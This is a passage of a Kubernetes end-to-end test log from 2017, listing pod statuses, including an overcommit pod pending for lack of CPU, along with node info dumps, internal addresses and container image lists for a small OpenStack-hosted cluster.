{ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:07 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-3                                                               k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:01 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-4                                                               k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:01 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-5                                                               k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:10 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-6                                                               k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:01 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-7                                                               k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:01 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: overcommit-8                                                                                                                  pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00.678382931 +0000 utc unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  3 .} \r 04:41:54 jun 13 11:47:51.056: info: dnsmasq-1508732111-sk20q                                                   k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:36 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:38 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:36 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: dnsmasq-autoscaler-3605072793-45s0t                                        k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:39 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:01 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:39 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: flannel-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed                  k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:39 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:42 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:37 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: flannel-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed                  k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:40 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:42 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:37 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: flannel-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed                    k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:41 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:43 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:38 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: flannel-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed                    k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:39 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:42 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:37 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: flannel-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed                    k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:55:12 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:56:12 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:56:10 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: kube-apiserver-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed           k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:57 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:56 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: kube-apiserver-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed           k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:58 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:56 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: kube-controller-manager-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:11 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:13 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:11 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: kube-controller-manager-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:13 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:13 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:11 +0000 utc  } \r 04:41:54 jun 13 11:47:51.056: info: kube-proxy-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed               k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:41 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:45 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:40 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-proxy-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed               k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:42 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:45 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:41 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-proxy-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed                 k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:41 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:45 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:40 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-proxy-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed                 k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:41 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:43 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:45:39 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-proxy-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed                 k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:54:12 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:56:12 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:56:10 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-scheduler-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed           k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:12 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:14 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:12 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kube-scheduler-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed           k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:12 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:13 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:46:12 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kubedns-1482036730-6d6k7                                                   k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:08 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:48 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:08 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: kubedns-autoscaler-1428750645-btwl6                                        k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:10 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:11 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 10:47:10 +0000 utc  } \r 04:41:54 jun 13 11:47:51.057: info: \r 04:41:54 jun 13 11:47:51.198: info: \r 04:41:54 logging node info for node k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:51.320: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,generatename:,namespace:,selflink:/api/v1/nodesk8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,uid:7e91cd56-5025-11e7-9536-fa163e83263e,resourceversion:8623,generation:0,creationtimestamp:2017-06-13 10:46:02.558599399 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: sddc,failure-domain.beta.kubernetes.io/zone: nova,kubernetes.io/hostname: k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,node-role.kubernetes.io/master: true,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:1e16518a-7d19-4ef8-b2ab-32bd905ba736,providerid:openstack:///1e16518a-7d19-4ef8-b2ab-32bd905ba736,unschedulable:true,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{4145389568 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{1900 -3} {<nil>} 1900m decimalsi},memory: {{3528531968 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 11:47:58 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 11:47:58 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 11:47:58 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 11:47:58 +0000 utc 2017-06-13 10:46:02 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.6} {externalip 10.111.89.136} {hostname k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8e025a21a4254e11b028584d9d8b12c4,systemuuid:4217b741-b992-f08d-976d-ea97ef8d988d,bootid:9cdf95ac-6927-407a-9b79-242495ae45f1,kernelversion:4.4.41-1.ph1-esx,osimage:debian gnu/linux 8  jessie ,containerruntimeversion:docker://1.12.1,kubeletversion:v1.6.1,kubeproxyversion:v1.6.1,operatingsystem:linux,architecture:amd64,},images: { 10.111.89.130:11000/coreos/hyperkube@sha256:44e441510dfed56ff6f3b4fb7e229b2e95cc3e526816710fcf68a1c49016b9ec 10.111.89.130:11000/coreos/hyperkube:v1.6.1_coreos.0  855664488} { 10.111.89.130:11000/nginx@sha256:0c17c3a8e78a256677b3d9a3cc68e8e8e4244dafc7bd9ca0dfa96759a7047f69 10.111.89.130:11000/nginx:1.11.4  181346890} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:04a394cffc5d338b074e663825110b5695fc3efadabebf93a8dd48c443843e37 10.111.89.130:11000/google_containers/kubedns-amd64:1.7  55064828} { 10.111.89.130:11000/coreos/flannel@sha256:75acf97abe273247770342054dbeba7803c866cc25dd7075c224e483cfcc65d7 10.111.89.130:11000/coreos/flannel:v0.6.2  27885643} { 10.111.89.130:11000/google_containers/exechealthz-amd64@sha256:b9b6093890bc39f15f9c77dd1e44250efb21c1b0ace334ac6e61c708fa5fa810 10.111.89.130:11000/google_containers/exechealthz-amd64:1.1  8332223} { 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64@sha256:5c6b7b984c71a44c5045b41041ff94ccb8078feccffd10ea93b0626b60d784d3 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64:1.3  5125973} { 10.111.89.130:11000/busybox@sha256:68effe31a4ae8312e47f54bec52d1fc925908009ce7e6f734e1b54a4169081c5 10.111.89.130:11000/busybox:latest  1109996} { 10.111.89.130:11000/google_containers/pause-amd64@sha256:7b23a11e164b0cfa08188d9f976da9f890464cdeb81c1f7c8ef008f03df3681e 10.111.89.130:11000/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r 04:41:54 jun 13 11:47:51.321: info: \r 04:41:54 logging kubelet events for node k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:51.442: info: \r 04:41:54 logging pods the kubelet thinks is on node k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:51.738: info: flannel-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:54 jun 13 11:47:51.739: info: kube-proxy-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:54 jun 13 11:47:51.739: info: kube-apiserver-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:54 jun 13 11:47:51.739: info: kube-controller-manager-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:54 jun 13 11:47:51.739: info: kube-scheduler-k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:55 w0613 11:47:51.870248     275 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r 04:41:55 jun 13 11:47:52.279: info: \r 04:41:55 latency metrics for node k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:55 jun 13 11:47:52.280: info: \r 04:41:55 logging node info for node k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:55 jun 13 11:47:52.390: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,generatename:,namespace:,selflink:/api/v1/nodesk8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,uid:7e7ad1a2-5025-11e7-b8fd-fa163e30e2f5,resourceversion:8620,generation:0,creationtimestamp:2017-06-13 10:46:02.407975439 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: sddc,failure-domain.beta.kubernetes.io/zone: nova,kubernetes.io/hostname: k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,node-role.kubernetes.io/master: true,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:da819334-c340-4be7-893c-7b5fe4261b61,providerid:openstack:///da819334-c340-4be7-893c-7b5fe4261b61,unschedulable:true,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{4145389568 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{1900 -3} {<nil>} 1900m decimalsi},memory: {{3528531968 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 11:47:56 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 11:47:56 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 11:47:56 +0000 utc 2017-06-13 10:46:02 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 11:47:56 +0000 utc 2017-06-13 10:46:02 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.5} {hostname k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8e025a21a4254e11b028584d9d8b12c4,systemuuid:42179dbd-7be0-07b4-49ef-dffe428e61c9,bootid:8bcb6d48-afe5-4d6b-8de4-24c219b4773b,kernelversion:4.4.41-1.ph1-esx,osimage:debian gnu/linux 8  jessie ,containerruntimeversion:docker://1.12.1,kubeletversion:v1.6.1,kubeproxyversion:v1.6.1,operatingsystem:linux,architecture:amd64,},images: { 10.111.89.130:11000/coreos/hyperkube@sha256:44e441510dfed56ff6f3b4fb7e229b2e95cc3e526816710fcf68a1c49016b9ec 10.111.89.130:11000/coreos/hyperkube:v1.6.1_coreos.0  855664488} { 10.111.89.130:11000/nginx@sha256:0c17c3a8e78a256677b3d9a3cc68e8e8e4244dafc7bd9ca0dfa96759a7047f69 10.111.89.130:11000/nginx:1.11.4  181346890} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:04a394cffc5d338b074e663825110b5695fc3efadabebf93a8dd48c443843e37 10.111.89.130:11000/google_containers/kubedns-amd64:1.7  55064828} { 10.111.89.130:11000/coreos/flannel@sha256:75acf97abe273247770342054dbeba7803c866cc25dd7075c224e483cfcc65d7 10.111.89.130:11000/coreos/flannel:v0.6.2  27885643} { 10.111.89.130:11000/google_containers/exechealthz-amd64@sha256:b9b6093890bc39f15f9c77dd1e44250efb21c1b0ace334ac6e61c708fa5fa810 10.111.89.130:11000/google_containers/exechealthz-amd64:1.1  8332223} { 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64@sha256:5c6b7b984c71a44c5045b41041ff94ccb8078feccffd10ea93b0626b60d784d3 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64:1.3  5125973} { 10.111.89.130:11000/busybox@sha256:68effe31a4ae8312e47f54bec52d1fc925908009ce7e6f734e1b54a4169081c5 10.111.89.130:11000/busybox:latest  1109996} { 10.111.89.130:11000/google_containers/pause-amd64@sha256:7b23a11e164b0cfa08188d9f976da9f890464cdeb81c1f7c8ef008f03df3681e 10.111.89.130:11000/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r 04:41:55 jun 13 11:47:52.391: info: \r 04:41:55 logging kubelet events for node k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:55 jun 13 11:47:52.504: info: \r 04:41:55 logging pods the kubelet thinks is on node k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:56 jun 13 11:47:52.766: info: kube-scheduler-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:56 jun 13 11:47:52.766: info: flannel-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:56 jun 13 11:47:52.766: info: kube-proxy-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:56 jun 13 11:47:52.766: info: kube-apiserver-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:56 jun 13 11:47:52.766: info: kube-controller-manager-k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:56 w0613 11:47:52.881229     275 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r 04:41:56 jun 13 11:47:53.251: info: \r 04:41:56 latency metrics for node k8s-master-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:56 jun 13 11:47:53.251: info: \r 04:41:56 logging node info for node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:56 jun 13 11:47:53.367: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,generatename:,namespace:,selflink:/api/v1/nodesk8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,uid:81576249-5025-11e7-b8fd-fa163e30e2f5,resourceversion:8615,generation:0,creationtimestamp:2017-06-13 10:46:07.208911577 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: sddc,failure-domain.beta.kubernetes.io/zone: nova,kubernetes.io/hostname: k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed,node-role.kubernetes.io/node: true,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:e7d14427-d6ea-4d62-958a-a70ba79054fa,providerid:openstack:///e7d14427-d6ea-4d62-958a-a70ba79054fa,unschedulable:false,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{4145389568 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{1900 -3} {<nil>} 1900m decimalsi},memory: {{3528531968 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 11:47:53 +0000 utc 2017-06-13 10:46:07 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 11:47:53 +0000 utc 2017-06-13 10:46:07 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 11:47:53 +0000 utc 2017-06-13 10:46:07 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 11:47:53 +0000 utc 2017-06-13 10:46:07 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.4} {hostname k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8e025a21a4254e11b028584d9d8b12c4,systemuuid:4217db4d-954b-7d1a-014b-cb31e02b0679,bootid:eabbc849-5c82-453a-9e03-4d6dbe5018fc,kernelversion:4.4.41-1.ph1-esx,osimage:debian gnu/linux 8  jessie ,containerruntimeversion:docker://1.12.1,kubeletversion:v1.6.1,kubeproxyversion:v1.6.1,operatingsystem:linux,architecture:amd64,},images: { 10.111.89.130:11000/coreos/hyperkube@sha256:44e441510dfed56ff6f3b4fb7e229b2e95cc3e526816710fcf68a1c49016b9ec 10.111.89.130:11000/coreos/hyperkube:v1.6.1_coreos.0  855664488} { gcr.io/google-samples/gb-frontend@sha256:d44e7d7491a537f822e7fe8615437e4a8a08f3a7a1d7d4cb9066b92f7556ba6d gcr.io/google-samples/gb-frontend:v4  512107183} { 10.111.89.130:11000/nginx@sha256:0c17c3a8e78a256677b3d9a3cc68e8e8e4244dafc7bd9ca0dfa96759a7047f69 10.111.89.130:11000/nginx:1.11.4  181346890} { gcr.io/google_samples/gb-redisslave@sha256:90f62695e641e1a27d1a5e0bbb8b622205a48e18311b51b0da419ffad24b9016 gcr.io/google_samples/gb-redisslave:v1  109462535} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:04a394cffc5d338b074e663825110b5695fc3efadabebf93a8dd48c443843e37 10.111.89.130:11000/google_containers/kubedns-amd64:1.7  55064828} { gcr.io/google_containers/cluster-proportional-autoscaler-amd64@sha256:e6e071f2e598a13caece1a39c7f166fc574a3837b791eba71631960e026c70aa gcr.io/google_containers/cluster-proportional-autoscaler-amd64:1.1.1  48156375} { 10.111.89.130:11000/coreos/flannel@sha256:75acf97abe273247770342054dbeba7803c866cc25dd7075c224e483cfcc65d7 10.111.89.130:11000/coreos/flannel:v0.6.2  27885643} { 10.111.89.130:11000/google_containers/exechealthz-amd64@sha256:b9b6093890bc39f15f9c77dd1e44250efb21c1b0ace334ac6e61c708fa5fa810 10.111.89.130:11000/google_containers/exechealthz-amd64:1.1  8332223} { gcr.io/google_containers/netexec@sha256:56c53846f44ea214e4aa5df37c9c50331f0b09e64a32cc7cf17c7e1808d38eef gcr.io/google_containers/netexec:1.7  8016035} { gcr.io/google_containers/serve_hostname@sha256:a49737ee84a3b94f0b977f32e60c5daf11f0b5636f1f7503a2981524f351c57a gcr.io/google_containers/serve_hostname:v1.4  6222101} { 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64@sha256:5c6b7b984c71a44c5045b41041ff94ccb8078feccffd10ea93b0626b60d784d3 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64:1.3  5125973} { gcr.io/google_containers/update-demo@sha256:915a51866b3b77de77c833ac69c699b88d060312d41fb878fab7428b69ef382c gcr.io/google_containers/update-demo:kitten  4549069} { gcr.io/google_containers/mounttest@sha256:c4dcedb26013ab4231a2b2aaa4eebd5c2a44d5c597fa0613c9ff8bde4fb9fe02 gcr.io/google_containers/mounttest:0.7  2052704} { gcr.io/google_containers/portforwardtester@sha256:306879729d3eff635a11b89f3e62e440c9f2fe4dabdfb9ef02bc67f2275f67ab gcr.io/google_containers/portforwardtester:1.2  1892642} { 